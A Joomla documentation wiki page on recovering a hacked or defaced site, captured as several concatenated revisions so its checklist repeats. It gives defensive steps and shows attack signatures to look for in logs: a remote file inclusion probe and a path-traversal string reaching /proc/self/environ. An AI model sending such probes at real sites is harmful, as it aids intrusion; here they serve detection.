* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

* Several packages available are
** [http://www.eset.com/ ENOD32] from eSet
** [http://www.safer-networking.org/ Spybot Search and Destroy]
** [http://www.malwarebytes.org/ Malwarebytes]
** [http://www.microsoft.com/security/ Microsoft Malicious Software Removal Tool]
** [http://www.free-av.com/de/tools/12/avira_antivir_rescue_system.html Linux AntiVirus boot cd]
** [http://www.javacoolsoftware.com/spywareblaster.html spyware blaster]
** [http://www.siteadvisor.com/ siteadvisor]
* Consider the [http://ubcd4win.com/ Ultimate Boot CD for Windows] used for repairing, restoring, or diagnosing almost any home computer problem

=== Other Considerations ===

* Do not use the standard jos_ table prefix and avoid one click installers where possible

* Set the [http://feeds.joomla.org/JoomlaSecurityNews?format=xml joomla security newsfeed] as the main top module in your joomla admin control panel. [[Screen.modulesadministrator.edit.15#Feed_Display|Set up the Security Newsfeed]]
** [[Screen.modulesadministrator.edit.15#How_to_access|Add the Admin Feed Display Module]] if it is missing. Enable it to the first place on your sites back end control panel.

* Consider adding a [http://forum.joomla.org/viewtopic.php?p=1568940#p1568940 bot block list] to your .htaccess file

* Use [http://en.wikipedia.org/wiki/SSH_file_transfer_protocol sFTP] instead of FTP where possible

* Do not enable or use [http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP anonymous ftp] accounts for any reason.

* Use a server that has [http://www.modsecurity.org/ mod_security] installed properly

* Check for any added sub domains and/or added directories

* Check for any [http://en.wikipedia.org/wiki/Common_Gateway_Interface cgi scripts]

* Check [http://en.wikipedia.org/wiki/Cron cron] for any cron jobs not set up by domain administrator

* Download and <ref>Review raw access and error logs.</ref>

* Deny any IP's that you got to the IP ban on your site but it may belong to a proxy site.

'''Was your site hacked in the past''' and proper site sanitation not used to remove actual
(and hidden) hack thus leaving a backdoor for reinfection.

* Consider removing "[http://docs.joomla.org/How_do_you_remove_or_change_the_%22Welcome_to_the_Frontpage%22_title%3F welcome to the front page]" to reduce [http://www.google.co.uk/search?q=intext%3A+welcome+to+the+front+page+joomla& search engine attacks].

* Completely remove/uninstall, don't unpublish unused or vulnerable extensions. [[Why_isn't_un-publishing_a_vulnerable_extension_enough_to_protect_your_site%3F|Un-publishing a vulnerable extension will not protect your site.]]

=== Malicious Code or Odd Links appearing on your site ===

Check that the original template file does or does not insert the [http://forum.joomla.org/viewtopic.php?f=432&t=411735 unwanted code/Malicious Javascript ] or that you downloaded a paid for template from a non trusted source eg file sharing sites

'''[http://www.iss.net/threats/gumblar.html Gumblar]''' doesn’t use any particular script vulnerability.
This script is injected into every web page ( I would imagine though not confirmed, if infected page is edited then saved it will also be in database) on a site.
Script changes every time it is accessed.
It has been seen on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
The script starts with ''(function('' and has no name and is obfusticated.
A common Gumblar version breaks sites due to a bug in script.

'''iFrames'''

In recent iframe exploits the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.). [http://forum.joomla.org/viewtopic.php?f=432&t=411735 Related Forum Sticky]

=== Contributors & Editing ===
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 mandville]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=3701 fw116]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=322239 JeffChannell]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=339316 dynamicnet]

== References ==
<references/>
When your hosting provider runs PHP as an Apache Module it executes as the user/group of the webserver which is usually "nobody", "httpd" or "apache". Under this (ownership) mode, files or directories that you require your php scripts to be able to write do need 777 permissions (read/write/execute at user/group/world level) if the ownership of the files and directories are not Chown (Change Owner) to the User. Such a scenario is absolute unacceptable from a security perspective since '777' not only allows the webserver to write to the file; it also allows anyone else to read or write to the file.
If your provider is not able to change this, one should strongly consider changing host!

'''Logs'''
Make sure that in your control panel your raw access logs have been activated for review!

Raw Access Logs allow you to see who has accessed your site without the use of graphs, charts or other graphics. in cPanel for instance you can use the Raw Access Logs menu to download a zipped version of the server's access log for your site. This can be very useful when you need to see who is accessing your site quickly. Many people forget that this needs to be activated by the user of the account and is not automatically activated upon the creation of a hosting account in cPanel for instance!

<div id="incompatible_versions" />'''Incompatible Versions'''
This document applies to all versions of Joomla. Use the latest version of Joomla that is compatible with your existing Joomla websites version to repair your site. Some version upgrades require a [[Migrating_from_Joomla_1.5_to_Joomla_2.5|site migration]] and will render your Joomla site inoperative if used to replace an earlier version of Joomla when repairing site hacking. For example: Do not replace a 1.5.xx based site with version 2.5.xx of Joomla. Doing so will leave the site in an inoperative state and may also result in a loss of data.

[[Category:FAQ]]

[[Category:Security Checklist]]

Security Checklist/You have been hacked or defaced

2013-06-12T16:08:32Z

Phild: /* References */ added anchor

{{:Security Checklist/TOC}}
== You have been hacked/defaced ?==
We are sorry for any basic language used in this document.
Before you post in the Joomla! Security Forum [http://forum.joomla.org/viewtopic.php?f=432&t=475313 please read this] checklist summary, then use it as a post template.

=== On Line Action List===
* Take your [[Taking_the_website_temporarily_offline#Using the htaccess method (cpanel)|website offline]] ('''We recommend the htaccess method''')

* Run the [https://github.com/ForumPostAssistant/FPA/zipball/en-GB forum post assistant and security tool] The simple Instructions are [http://forum.joomla.org/viewtopic.php?f=621&t=582860 available here]. More detailed instructions are included in the download package. You will need to unzip this package and upload the fpa-en.php file to your server Joomla root The FPA is also [https://github.com/ForumPostAssistant/FPA/tarball/en-GB available in a tar.gz package] for those who desire or need a unix style package. The fpa-en.php file from the package will need to be uploaded to your server Joomla root.

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. (see [[#Local_Security|Local Security]] below)

* Ensure you have downloaded the '''latest version''' of [http://www.joomla.org/download.html Joomla] for the series of Joomla used on the site.(see [[#Incompatible Versions|Incompatible Versions]] below).

* '''Notify your host''' and work with them to clean up the site, and to make sure there are no back doors to your site.

* Review [http://vel.joomla.org/ Vulnerable Extensions List] to see if you have any vulnerable extensions and deal with them. A clue to any extensions being targeted is your logs file. Here is an example of what to look for,
<pre>//administrator/components/com_extension/admin.extension.php?mosConfig.absolute.path=http:</pre>
or
<pre>../../../../../../../../../../../../../../../../proc/self/environ</pre>

* Review and action [[Security Checklist]] to make sure you've gone through all of the steps (please note some steps are optional, but please review them all).

* '''Change all passwords''' and if possible user names for the domains control panel, mysql, FTP, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|Joomla! Super Admin]], and Joomla! Admin password; do change them often. Passwords should be at least 12 mixed alphanumeric characters and contain no common word phrases.
* Do not use the standard Admin user, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|disable it]]. If you need to reset your admin password, see [[How_do_you_recover_your_admin_password%3F|these instructions]].

* '''Delete and Replace''' all templates and files with clean copies,
* '''Check''' and/or replace all .pdf, image, photo files for exploits. Delete any that are suspicious
* Check you server logs for IP's calling suspicious files or attempting POST commands to non-form's
* Use proper permissions on files and directories. They '''should never be 777<ref>Permissions should never be 777</ref>, but ideal is 644 for files and 755 folders'''.
* Disable [http://docs.cpanel.net/twiki/bin/view/AllDocumentation/CpanelDocs/AnonymousFTP anonymous] FTP

== chmod and cron ==

IF you have permissions to access SSH (secure shell) via putty you can chmod the files and directories.
If you do not have shell access, you can run the commands from [http://en.wikipedia.org/wiki/Cron cron] by setting up a temporary cron job. Copy and paste the command into a cron job. Run the job about 2 minutes after saving the job.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended for best results.

For files use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -exec chmod 644 {} \;</pre>

and for directories use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type d -exec chmod 755 {} \;</pre>

=== Monitoring for File Changes ===
To check for recent file changes on your system use these commands from putty (SSH - secure shell) or via a cron job.
If you run the command from a cron job you can schedule it to check for changed files several times each day.
Results will be sent to the domain account owner and show the time/date stamp for any changed files.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended
for best results.

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -ctime -1 -exec ls -ls {} \;</pre>

Please note your sites files may be located in public_html, httpdocs, www, or a similar place, and your physical path may also be different than in the examples. Adjust the physical path accordingly.

== 777 Permissions ==
'''If''' the server your are on requires 777 permissions for Joomla to work correctly,
then''' request to be put on another server''' with php as cgi and suphp and up-to-date
serverside software (apache, php etc) on your existing host or find another server host if necessary.

To protect directories that seemed to need 777 permissions to run or as a default in your images/media folder try this code within a .htaccess file within the open folder.
<pre># secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI</pre> especially in your images folder
* Make sure that is in a htaccess file in a directory that will not run any scripts or remove the extensions as required

Do check with your hosting provider to see if they have purposely secured the server your site is on; and that they '''or you''' perform regular (weekly) security updates to keep the server up to date.
Check you have jail shell.
A rule of thumb is the less you pay, the less they care

== A Safe route for disaster relief ==
* save the configuration.php file and your images and personal files one by one, (not the folder as it may contain unwanted files)
* wipe the entire folder where Joomla! is installed
* upload a new clean full package latest version of joomla 1.5.x or Joomla 2.5.x (minus the install folder)<ref>Incompatible Versions</ref>
* reupload your configuration file & images.
* reupload or reinstall the latest versions of your extensions , templates (even better is to use original clean copies to ensure that the hacker/defacer did not leave any shell script files in your site)

To do this will take your site off line for around 15 minutes. To track down your hacked/defaced html may take hours or even longer.

=== Local Security ===

* Don't store user name/password in ftp program
** Use a password manager such as the free [http://keepass.info/ keepass]

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

* Several packages available are
** [http://www.eset.com/ ENOD32] from eSet
** [http://www.safer-networking.org/ Spybot Search and Destroy]
** [http://www.malwarebytes.org/ Malwarebytes]
** [http://www.microsoft.com/security/ Microsoft Malicious Software Removal Tool]
** [http://www.free-av.com/de/tools/12/avira_antivir_rescue_system.html Linux AntiVirus boot cd]
** [http://www.javacoolsoftware.com/spywareblaster.html spyware blaster]
** [http://www.siteadvisor.com/ siteadvisor]
* Consider the [http://ubcd4win.com/ Ultimate Boot CD for Windows] used for repairing, restoring, or diagnosing almost any home computer problem

=== Other Considerations ===

* Do not use the standard jos_ table prefix and avoid one click installers where possible

* Set the [http://feeds.joomla.org/JoomlaSecurityNews?format=xml joomla security newsfeed] as the main top module in your joomla admin control panel. [[Screen.modulesadministrator.edit.15#Feed_Display|Set up the Security Newsfeed]]
** [[Screen.modulesadministrator.edit.15#How_to_access|Add the Admin Feed Display Module]] if it is missing. Enable it to the first place on your sites back end control panel.

* Consider adding a [http://forum.joomla.org/viewtopic.php?p=1568940#p1568940 bot block list] to your .htaccess file

* Use [http://en.wikipedia.org/wiki/SSH_file_transfer_protocol sFTP] instead of FTP where possible

* Do not enable or use [http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP anonymous ftp] accounts for any reason.

* Use a server that has [http://www.modsecurity.org/ mod_security] installed properly

* Check for any added sub domains and/or added directories

* Check for any [http://en.wikipedia.org/wiki/Common_Gateway_Interface cgi scripts]

* Check [http://en.wikipedia.org/wiki/Cron cron] for any cron jobs not set up by domain administrator

* Download and <ref>Review raw access and error logs.</ref>

* Deny any IP's that you got to the IP ban on your site but it may belong to a proxy site.

'''Was your site hacked in the past''' and proper site sanitation not used to remove actual
(and hidden) hack thus leaving a backdoor for reinfection.

* Consider removing "[http://docs.joomla.org/How_do_you_remove_or_change_the_%22Welcome_to_the_Frontpage%22_title%3F welcome to the front page]" to reduce [http://www.google.co.uk/search?q=intext%3A+welcome+to+the+front+page+joomla& search engine attacks].

* Completely remove/uninstall, don't unpublish unused or vulnerable extensions. [[Why_isn't_un-publishing_a_vulnerable_extension_enough_to_protect_your_site%3F|Un-publishing a vulnerable extension will not protect your site.]]

=== Malicious Code or Odd Links appearing on your site ===

Check that the original template file does or does not insert the [http://forum.joomla.org/viewtopic.php?f=432&t=411735 unwanted code/Malicious Javascript ] or that you downloaded a paid for template from a non trusted source eg file sharing sites

'''[http://www.iss.net/threats/gumblar.html Gumblar]''' doesn’t use any particular script vulnerability.
This script is injected into every web page ( I would imagine though not confirmed, if infected page is edited then saved it will also be in database) on a site.
Script changes every time it is accessed.
It has been seen on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
The script starts with ''(function('' and has no name and is obfusticated.
A common Gumblar version breaks sites due to a bug in script.

'''iFrames'''

In recent iframe exploits the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.). [http://forum.joomla.org/viewtopic.php?f=432&t=411735 Related Forum Sticky]

=== Contributors & Editing ===
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 mandville]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=3701 fw116]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=322239 JeffChannell]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=339316 dynamicnet]

== References ==
<references/>
When your hosting provider runs PHP as an Apache Module it executes as the user/group of the webserver which is usually "nobody", "httpd" or "apache". Under this (ownership) mode, files or directories that you require your php scripts to be able to write do need 777 permissions (read/write/execute at user/group/world level) if the ownership of the files and directories are not Chown (Change Owner) to the User. Such a scenario is absolute unacceptable from a security perspective since '777' not only allows the webserver to write to the file; it also allows anyone else to read or write to the file.
If your provider is not able to change this, one should strongly consider changing host!

'''Logs'''
Make sure that in your control panel your raw access logs have been activated for review!

Raw Access Logs allow you to see who has accessed your site without the use of graphs, charts or other graphics. in cPanel for instance you can use the Raw Access Logs menu to download a zipped version of the server's access log for your site. This can be very useful when you need to see who is accessing your site quickly. Many people forget that this needs to be activated by the user of the account and is not automatically activated upon the creation of a hosting account in cPanel for instance!

<div id="incompatible_versions" />'''Incompatible Versions'''
This document applies to all versions of Joomla. Use the latest version of Joomla that is compatible with your existing Joomla websites version to repair your site. Some version upgrades require a [[Migrating_from_Joomla_1.5_to_Joomla_2.5|site migration]] and will render your Joomla site inoperative if used to replace an earlier version of Joomla when repairing site hacking. For example: Do not replace a 1.5.xx based site with version 2.5.xx of Joomla. Doing so will leave the site in an inoperative state and may also result in a loss of data.

[[Category:FAQ]]

[[Category:Security Checklist]]

Security Checklist/You have been hacked or defaced

2013-06-12T15:49:41Z

Phild: /* On Line Action List */ changed wording to indicate delete files

{{:Security Checklist/TOC}}
== You have been hacked/defaced ?==
We are sorry for any basic language used in this document.
Before you post in the Joomla! Security Forum [http://forum.joomla.org/viewtopic.php?f=432&t=475313 please read this] checklist summary, then use it as a post template.

=== On Line Action List===
* Take your [[Taking_the_website_temporarily_offline#Using the htaccess method (cpanel)|website offline]] ('''We recommend the htaccess method''')

* Run the [https://github.com/ForumPostAssistant/FPA/zipball/en-GB forum post assistant and security tool] The simple Instructions are [http://forum.joomla.org/viewtopic.php?f=621&t=582860 available here]. More detailed instructions are included in the download package. You will need to unzip this package and upload the fpa-en.php file to your server Joomla root The FPA is also [https://github.com/ForumPostAssistant/FPA/tarball/en-GB available in a tar.gz package] for those who desire or need a unix style package. The fpa-en.php file from the package will need to be uploaded to your server Joomla root.

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. (see [[#Local_Security|Local Security]] below)

* Ensure you have downloaded the '''latest version''' of [http://www.joomla.org/download.html Joomla] for the series of Joomla used on the site.(see [[#Incompatible Versions|Incompatible Versions]] below).

* '''Notify your host''' and work with them to clean up the site, and to make sure there are no back doors to your site.

* Review [http://vel.joomla.org/ Vulnerable Extensions List] to see if you have any vulnerable extensions and deal with them. A clue to any extensions being targeted is your logs file. Here is an example of what to look for,
<pre>//administrator/components/com_extension/admin.extension.php?mosConfig.absolute.path=http:</pre>
or
<pre>../../../../../../../../../../../../../../../../proc/self/environ</pre>

* Review and action [[Security Checklist]] to make sure you've gone through all of the steps (please note some steps are optional, but please review them all).

* '''Change all passwords''' and if possible user names for the domains control panel, mysql, FTP, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|Joomla! Super Admin]], and Joomla! Admin password; do change them often. Passwords should be at least 12 mixed alphanumeric characters and contain no common word phrases.
* Do not use the standard Admin user, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|disable it]]. If you need to reset your admin password, see [[How_do_you_recover_your_admin_password%3F|these instructions]].

* '''Delete and Replace''' all templates and files with clean copies,
* '''Check''' and/or replace all .pdf, image, photo files for exploits. Delete any that are suspicious
* Check you server logs for IP's calling suspicious files or attempting POST commands to non-form's
* Use proper permissions on files and directories. They '''should never be 777<ref>Permissions should never be 777</ref>, but ideal is 644 for files and 755 folders'''.
* Disable [http://docs.cpanel.net/twiki/bin/view/AllDocumentation/CpanelDocs/AnonymousFTP anonymous] FTP

== chmod and cron ==

IF you have permissions to access SSH (secure shell) via putty you can chmod the files and directories.
If you do not have shell access, you can run the commands from [http://en.wikipedia.org/wiki/Cron cron] by setting up a temporary cron job. Copy and paste the command into a cron job. Run the job about 2 minutes after saving the job.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended for best results.

For files use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -exec chmod 644 {} \;</pre>

and for directories use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type d -exec chmod 755 {} \;</pre>

=== Monitoring for File Changes ===
To check for recent file changes on your system use these commands from putty (SSH - secure shell) or via a cron job.
If you run the command from a cron job you can schedule it to check for changed files several times each day.
Results will be sent to the domain account owner and show the time/date stamp for any changed files.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended
for best results.

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -ctime -1 -exec ls -ls {} \;</pre>

Please note your sites files may be located in public_html, httpdocs, www, or a similar place, and your physical path may also be different than in the examples. Adjust the physical path accordingly.

== 777 Permissions ==
'''If''' the server your are on requires 777 permissions for Joomla to work correctly,
then''' request to be put on another server''' with php as cgi and suphp and up-to-date
serverside software (apache, php etc) on your existing host or find another server host if necessary.

To protect directories that seemed to need 777 permissions to run or as a default in your images/media folder try this code within a .htaccess file within the open folder.
<pre># secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI</pre> especially in your images folder
* Make sure that is in a htaccess file in a directory that will not run any scripts or remove the extensions as required

Do check with your hosting provider to see if they have purposely secured the server your site is on; and that they '''or you''' perform regular (weekly) security updates to keep the server up to date.
Check you have jail shell.
A rule of thumb is the less you pay, the less they care

== A Safe route for disaster relief ==
* save the configuration.php file and your images and personal files one by one, (not the folder as it may contain unwanted files)
* wipe the entire folder where Joomla! is installed
* upload a new clean full package latest version of joomla 1.5.x or Joomla 2.5.x (minus the install folder)<ref>Incompatible Versions</ref>
* reupload your configuration file & images.
* reupload or reinstall the latest versions of your extensions , templates (even better is to use original clean copies to ensure that the hacker/defacer did not leave any shell script files in your site)

To do this will take your site off line for around 15 minutes. To track down your hacked/defaced html may take hours or even longer.

=== Local Security ===

* Don't store user name/password in ftp program
** Use a password manager such as the free [http://keepass.info/ keepass]

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

* Several packages available are
** [http://www.eset.com/ ENOD32] from eSet
** [http://www.safer-networking.org/ Spybot Search and Destroy]
** [http://www.malwarebytes.org/ Malwarebytes]
** [http://www.microsoft.com/security/ Microsoft Malicious Software Removal Tool]
** [http://www.free-av.com/de/tools/12/avira_antivir_rescue_system.html Linux AntiVirus boot cd]
** [http://www.javacoolsoftware.com/spywareblaster.html spyware blaster]
** [http://www.siteadvisor.com/ siteadvisor]
* Consider the [http://ubcd4win.com/ Ultimate Boot CD for Windows] used for repairing, restoring, or diagnosing almost any home computer problem

=== Other Considerations ===

* Do not use the standard jos_ table prefix and avoid one click installers where possible

* Set the [http://feeds.joomla.org/JoomlaSecurityNews?format=xml joomla security newsfeed] as the main top module in your joomla admin control panel. [[Screen.modulesadministrator.edit.15#Feed_Display|Set up the Security Newsfeed]]
** [[Screen.modulesadministrator.edit.15#How_to_access|Add the Admin Feed Display Module]] if it is missing. Enable it to the first place on your sites back end control panel.

* Consider adding a [http://forum.joomla.org/viewtopic.php?p=1568940#p1568940 bot block list] to your .htaccess file

* Use [http://en.wikipedia.org/wiki/SSH_file_transfer_protocol sFTP] instead of FTP where possible

* Do not enable or use [http://en.wikipedia.org/wiki/File_Transfer_Protocol#Anonymous_FTP anonymous ftp] accounts for any reason.

* Use a server that has [http://www.modsecurity.org/ mod_security] installed properly

* Check for any added sub domains and/or added directories

* Check for any [http://en.wikipedia.org/wiki/Common_Gateway_Interface cgi scripts]

* Check [http://en.wikipedia.org/wiki/Cron cron] for any cron jobs not set up by domain administrator

* Download and <ref>Review raw access and error logs.</ref>

* Deny any IP's that you got to the IP ban on your site but it may belong to a proxy site.

'''Was your site hacked in the past''' and proper site sanitation not used to remove actual
(and hidden) hack thus leaving a backdoor for reinfection.

* Consider removing "[http://docs.joomla.org/How_do_you_remove_or_change_the_%22Welcome_to_the_Frontpage%22_title%3F welcome to the front page]" to reduce [http://www.google.co.uk/search?q=intext%3A+welcome+to+the+front+page+joomla& search engine attacks].

* Completely remove/uninstall, don't unpublish unused or vulnerable extensions. [[Why_isn't_un-publishing_a_vulnerable_extension_enough_to_protect_your_site%3F|Un-publishing a vulnerable extension will not protect your site.]]

=== Malicious Code or Odd Links appearing on your site ===

Check that the original template file does or does not insert the [http://forum.joomla.org/viewtopic.php?f=432&t=411735 unwanted code/Malicious Javascript ] or that you downloaded a paid for template from a non trusted source eg file sharing sites

'''[http://www.iss.net/threats/gumblar.html Gumblar]''' doesn’t use any particular script vulnerability.
This script is injected into every web page ( I would imagine though not confirmed, if infected page is edited then saved it will also be in database) on a site.
Script changes every time it is accessed.
It has been seen on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
The script starts with ''(function('' and has no name and is obfusticated.
A common Gumblar version breaks sites due to a bug in script.

'''iFrames'''

In recent iframe exploits the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.). [http://forum.joomla.org/viewtopic.php?f=432&t=411735 Related Forum Sticky]

=== Contributors & Editing ===
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=28000 mandville]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=67439 PhilD]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=3701 fw116]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=322239 JeffChannell]
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=339316 dynamicnet]

== References ==
<references/>
When your hosting provider runs PHP as an Apache Module it executes as the user/group of the webserver which is usually "nobody", "httpd" or "apache". Under this (ownership) mode, files or directories that you require your php scripts to be able to write do need 777 permissions (read/write/execute at user/group/world level) if the ownership of the files and directories are not Chown (Change Owner) to the User. Such a scenario is absolute unacceptable from a security perspective since '777' not only allows the webserver to write to the file; it also allows anyone else to read or write to the file.
If your provider is not able to change this, one should strongly consider changing host!

'''Logs'''
Make sure that in your control panel your raw access logs have been activated for review!

Raw Access Logs allow you to see who has accessed your site without the use of graphs, charts or other graphics. in cPanel for instance you can use the Raw Access Logs menu to download a zipped version of the server's access log for your site. This can be very useful when you need to see who is accessing your site quickly. Many people forget that this needs to be activated by the user of the account and is not automatically activated upon the creation of a hosting account in cPanel for instance!

'''Incompatible Versions'''
This document applies to all versions of Joomla. Use the latest version of Joomla that is compatible with your existing Joomla websites version to repair your site. Some version upgrades require a [[Migrating_from_Joomla_1.5_to_Joomla_2.5|site migration]] and will render your Joomla site inoperative if used to replace an earlier version of Joomla when repairing site hacking. For example: Do not replace a 1.5.xx based site with version 2.5.xx of Joomla. Doing so will leave the site in an inoperative state and may also result in a loss of data.

[[Category:FAQ]]

[[Category:Security Checklist]]

Security Checklist/You have been hacked or defaced

2013-06-10T17:02:06Z

Phild: /* References */ (incompatible versions) changed "overwrite" to "replace" added text for clarity

{{:Security Checklist/TOC}}
== You have been hacked/defaced ?==
We are sorry for any basic language used in this document.
Before you post in the Joomla! Security Forum [http://forum.joomla.org/viewtopic.php?f=432&t=475313 please read this] checklist summary, then use it as a post template.

=== On Line Action List===
* Take your [[Taking_the_website_temporarily_offline#Using the htaccess method (cpanel)|website offline]] ('''We recommend the htaccess method''')

* Run the [https://github.com/ForumPostAssistant/FPA/zipball/en-GB forum post assistant and security tool] The simple Instructions are [http://forum.joomla.org/viewtopic.php?f=621&t=582860 available here]. More detailed instructions are included in the download package. You will need to unzip this package and upload the fpa-en.php file to your server Joomla root The FPA is also [https://github.com/ForumPostAssistant/FPA/tarball/en-GB available in a tar.gz package] for those who desire or need a unix style package. The fpa-en.php file from the package will need to be uploaded to your server Joomla root.

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc. (see [[#Local_Security|Local Security]] below)

* Ensure you have the '''latest version''' of [http://www.joomla.org/download.html Joomla]

* '''Notify your host''' and work with them to clean up the site, and to make sure there are no back doors to your site.

* Review [http://vel.joomla.org/ Vulnerable Extensions List] to see if you have any vulnerable extensions and deal with them. A clue to any extensions being targeted is your logs file. Here is an example of what to look for,
<pre>//administrator/components/com_extension/admin.extension.php?mosConfig.absolute.path=http:</pre>
or
<pre>../../../../../../../../../../../../../../../../proc/self/environ</pre>

* Review and action [[Security Checklist]] to make sure you've gone through all of the steps (please note some steps are optional, but please review them all).

* '''Change all passwords''' and if possible user names for the domains control panel, mysql, FTP, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|Joomla! Super Admin]], and Joomla! Admin password; do change them often. Passwords should be at least 12 mixed alphanumeric characters and contain no common word phrases.
* Do not use the standard Admin user, [[Why_should_you_immediately_change_the_name_of_the_default_admin_user%3F|disable it]]. If you need to reset your admin password, see [[How_do_you_recover_your_admin_password%3F|these instructions]].

* '''Replace''' all templates and files with clean copies,
* '''Check''' and/or replace all .pdf, image, photo files for exploits
* Check you server logs for IP's calling suspicious files or attempting POST commands to non-form's
* Use proper permissions on files and directories. They '''should never be 777<ref>Permissions should never be 777</ref>, but ideal is 644 for files and 755 folders'''.
* Disable [http://docs.cpanel.net/twiki/bin/view/AllDocumentation/CpanelDocs/AnonymousFTP anonymous] FTP

== chmod and cron ==

IF you have permissions to access SSH (secure shell) via putty you can chmod the files and directories.
If you do not have shell access, you can run the commands from [http://en.wikipedia.org/wiki/Cron cron] by setting up a temporary cron job. Copy and paste the command into a cron job. Run the job about 2 minutes after saving the job.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended for best results.

For files use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -exec chmod 644 {} \;</pre>

and for directories use:

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type d -exec chmod 755 {} \;</pre>

=== Monitoring for File Changes ===
To check for recent file changes on your system use these commands from putty (SSH - secure shell) or via a cron job.
If you run the command from a cron job you can schedule it to check for changed files several times each day.
Results will be sent to the domain account owner and show the time/date stamp for any changed files.
When using the command by putty or a cron job, the use of the full physical path to public_html is recommended
for best results.

<pre>find /home/xxxxxx/domains/xxxxxxx.com/public_html -type f -ctime -1 -exec ls -ls {} \;</pre>

Please note your sites files may be located in public_html, httpdocs, www, or a similar place, and your physical path may also be different than in the examples. Adjust the physical path accordingly.

== 777 Permissions ==
'''If''' the server your are on requires 777 permissions for Joomla to work correctly,
then''' request to be put on another server''' with php as cgi and suphp and up-to-date
serverside software (apache, php etc) on your existing host or find another server host if necessary.

To protect directories that seemed to need 777 permissions to run or as a default in your images/media folder try this code within a .htaccess file within the open folder.
<pre># secure directory by disabling script execution
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
Options -ExecCGI</pre> especially in your images folder
* Make sure that is in a htaccess file in a directory that will not run any scripts or remove the extensions as required

Do check with your hosting provider to see if they have purposely secured the server your site is on; and that they '''or you''' perform regular (weekly) security updates to keep the server up to date.
Check you have jail shell.
A rule of thumb is the less you pay, the less they care

== A Safe route for disaster relief ==
* save the configuration.php file and your images and personal files one by one, (not the folder as it may contain unwanted files)
* wipe the entire folder where Joomla! is installed
* upload a new clean full package latest version of joomla 1.5.x or Joomla 2.5.x (minus the install folder)<ref>Incompatible Versions</ref>
* reupload your configuration file & images.
* reupload or reinstall the latest versions of your extensions , templates (even better is to use original clean copies to ensure that the hacker/defacer did not leave any shell script files in your site)

To do this will take your site off line for around 15 minutes. To track down your hacked/defaced html may take hours or even longer.

=== Local Security ===

* Don't store user name/password in ftp program
** Use a password manager such as the free [http://keepass.info/ keepass]

* Scan all machines with FTP, Joomla super admin, and Joomla admin access for malware, virus, trojans, spyware, etc.

* Several packages available are
** [http://www.eset.com/ ENOD32] from eSet
** [http://www.safer-networking.org/ Spybot Search and Destroy]
** [http://www.malwarebytes.org/ Malwarebytes]
** [http://www.microsoft.com/security/ Microsoft Malicious Software Removal Tool]
** [http://www.free-av.com/de/tools/12/avira_antivir_rescue_system.html Linux AntiVirus boot cd]
** [http://www.javacoolsoftware.com/spywareblaster.html spyware blaster]
** [http://www.siteadvisor.com/ siteadvisor]
* Consider the [http://ubcd4win.com/ Ultimate Boot CD for Windows] used for repairing, restoring, or diagnosing almost any home computer problem

=== Other Considerations ===

* Do not use the standard jos_ table prefix and avoid one click installers where possible

* Set the [http://feeds.joomla.org/JoomlaSecurityNews?format=xml joomla security newsfeed] as the main top module in your joomla admin control panel. [[Screen.modulesadministrator.edit.15#Feed_Display|Set up the Security Newsfeed]]
** [[Screen.modulesadministrator.edit.15#How_to_access|Add the Admin Feed Display Module]] if it is missing. Enable it to the first place on your sites back end control panel.

